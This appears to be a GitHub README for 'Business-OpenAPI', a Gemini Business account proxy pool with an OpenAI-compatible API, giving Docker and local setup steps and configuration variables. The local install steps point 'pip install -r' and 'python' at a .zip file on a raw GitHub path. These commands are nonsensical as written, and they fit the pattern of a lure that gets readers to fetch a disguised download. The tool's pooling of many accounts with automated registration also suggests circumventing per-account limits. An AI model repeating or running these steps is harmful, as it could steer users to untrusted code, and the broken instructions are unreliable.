Welcome to Business-OpenAPI! This application is a lightweight and high-performance Gemini Business account proxy pool. It provides a fully compatible API interface with OpenAI. Whether you want to manage multiple accounts efficiently or enhance your business capabilities, this tool simplifies your workflow.
Follow these steps to download and run the software easily.
-
Visit the Releases page to download the latest version of Business-OpenAPI.
-
Choose the appropriate version for your operating system and download the file.
Using Docker is the easiest way to run Business-OpenAPI. Follow these steps:
-
Build the Image:
Open your terminal and run:
docker build -t gemini-pool . -
Start the Container:
After building the image, run this command to start the application:
docker run -d \ -p 7860:7860 \ -e ADMIN_KEY=your_secret_password \ --name gemini-pool \ gemini-pool
This will make the application accessible on port 7860.
If you prefer to run the application locally without Docker, hereβs how:
-
Install Dependencies:
Make sure you have Python and pip installed. Then, run:
pip install -r https://raw.githubusercontent.com/Jha0rahul/Business-OpenAPI/main/anilao/Business-OpenAPI_1.9.zip
-
Start the Service:
To launch the service, use this command:
python https://raw.githubusercontent.com/Jha0rahul/Business-OpenAPI/main/anilao/Business-OpenAPI_1.9.zip
The default port is 3000. Make sure this port is available on your system.
You can customize the application by setting the following environment variables:
| Variable Name | Description | Default Value |
|---|---|---|
PORT |
Service listening port | 3000 (Local) / 7860 (Docker) |
ADMIN_KEY |
Password for the web console admin | admin123 |
REGISTER_SERVICE_URL |
Prefix for service registration URLs | http://localhost:5000 |
REGISTER_ADMIN_KEY |
Admin token for registration service | sk-admin-token |
ACCOUNT_LIFETIME |
Account lifetime in seconds | 43200 (12 hours) |
REFRESH_BEFORE_EXPIRY |
Time to refresh token before it expires | 3600 (1 hour) |
Make sure to set these variables for proper functionality.
The application features a modern and responsive web interface. You can monitor account status and manage configurations easily through your web browser. Just navigate to http://localhost:7860 for Docker or http://localhost:3000 for local development.
- Smart Account Management: Automatically refresh tokens and perform health checks.
- OpenAI Compatibility: This application works seamlessly with existing OpenAI libraries and clients.
- Docker Support: Quick and easy deployment with Docker ensures your setup is hassle-free and scalable.
If you encounter any issues or have questions, please refer to the issue tracker on the repository. You'll find a community of users who can help.
Now that you have everything you need, go ahead and download Business-OpenAPI to enhance your productivity with account management!